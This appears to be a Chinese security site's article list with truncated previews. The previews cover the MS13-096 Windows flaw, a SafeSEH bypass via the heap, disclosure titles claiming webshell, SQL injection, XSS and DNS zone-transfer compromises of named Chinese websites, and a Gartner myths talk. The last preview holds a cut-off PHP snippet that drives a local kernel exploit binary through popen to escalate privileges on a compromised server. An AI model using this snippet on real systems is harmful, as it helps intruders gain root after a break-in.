文章列表
MS13-096 画皮 波及微软全系统 秒杀一切杀软
沿用了十多年的安全认证体系，正面临前所未有的挑战！ 金山毒霸安全中心，三个月前全球率先发现了一个系统高危漏洞“画皮”，并第一时间提交给微软。该漏洞影响所有Windows系统，病毒木马等恶意程序利用该漏洞可轻松绕过99%的杀毒软件。历时三个月时间，微软终于发布了针对性的安全补丁，并对金山毒
利用堆首绕过微软的safeseh保护机制
设计SafeSEH保护机制的目的，为了防止攻击者通过覆盖堆栈上的异常处理函数句柄，从而控制程序执行流程的攻击。 在突破safeseh的方法有多种，在此简单介绍一下利用堆突破safeseh的方法。 微软在设计SafeSeh机制时，只会检测Seh Handler在不在栈里面而没检查在不在堆里面，所以我们可以利用这
51CTO(51cto.com)主站 存在get webshell，被成功入侵
51CTO(51cto.com)主站 存在get webshell，被成功入侵
墨迹天气(mojichina.com)主站及分站 被成功入侵，存在多处webshell
墨迹天气(mojichina.com)主站及分站 被成功入侵，存在多处webshell
虎扑体育(hupu.com)某分站 SQL注入漏洞 并导致其他分站数据泄露
虎扑体育(hupu.com)某分站 SQL注入漏洞 并导致其他分站数据泄露
酷我音乐(kuwo.cn)官网 DNS域传送漏洞
酷我音乐(kuwo.cn)官网 DNS域传送漏洞
太平洋女性网(pclady.com.cn)某分站 存储型XSS跨站漏洞
太平洋女性网(pclady.com.cn)某分站 存储型XSS跨站漏洞
迅雷(xunlei.com)某分站 反射型XSS跨站漏洞
迅雷(xunlei.com)某分站 反射型XSS跨站漏洞
逐一破解企业十大IT安全神话
Gartner安全与风险管理峰会上，Heiser根据这个主题发表了其“十大安全神话”的演讲：十大安全神话一：“这种事情不会发生在我身上” 原因：习惯了对风险的大肆宣扬，让员工做任何他们想做的事来逃避损失和责任。 治疗：将企业的责任与安全挂钩；利用安全分类框架的帮助。十大安全神话二：“信
PHP 非交互式 执行交互式命令
提权转发不出来只能出此下策shell可以用except来执行交互命令python 也有pexcept模块perl也有except模块但是默认不安装咱们还是用牛逼的php吧我就不解释了 看懂的人自然就懂了代码<?php$sucommand = "/tmp/2.6.18-2011";$fp = popen($sucommand ,"w");@fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111
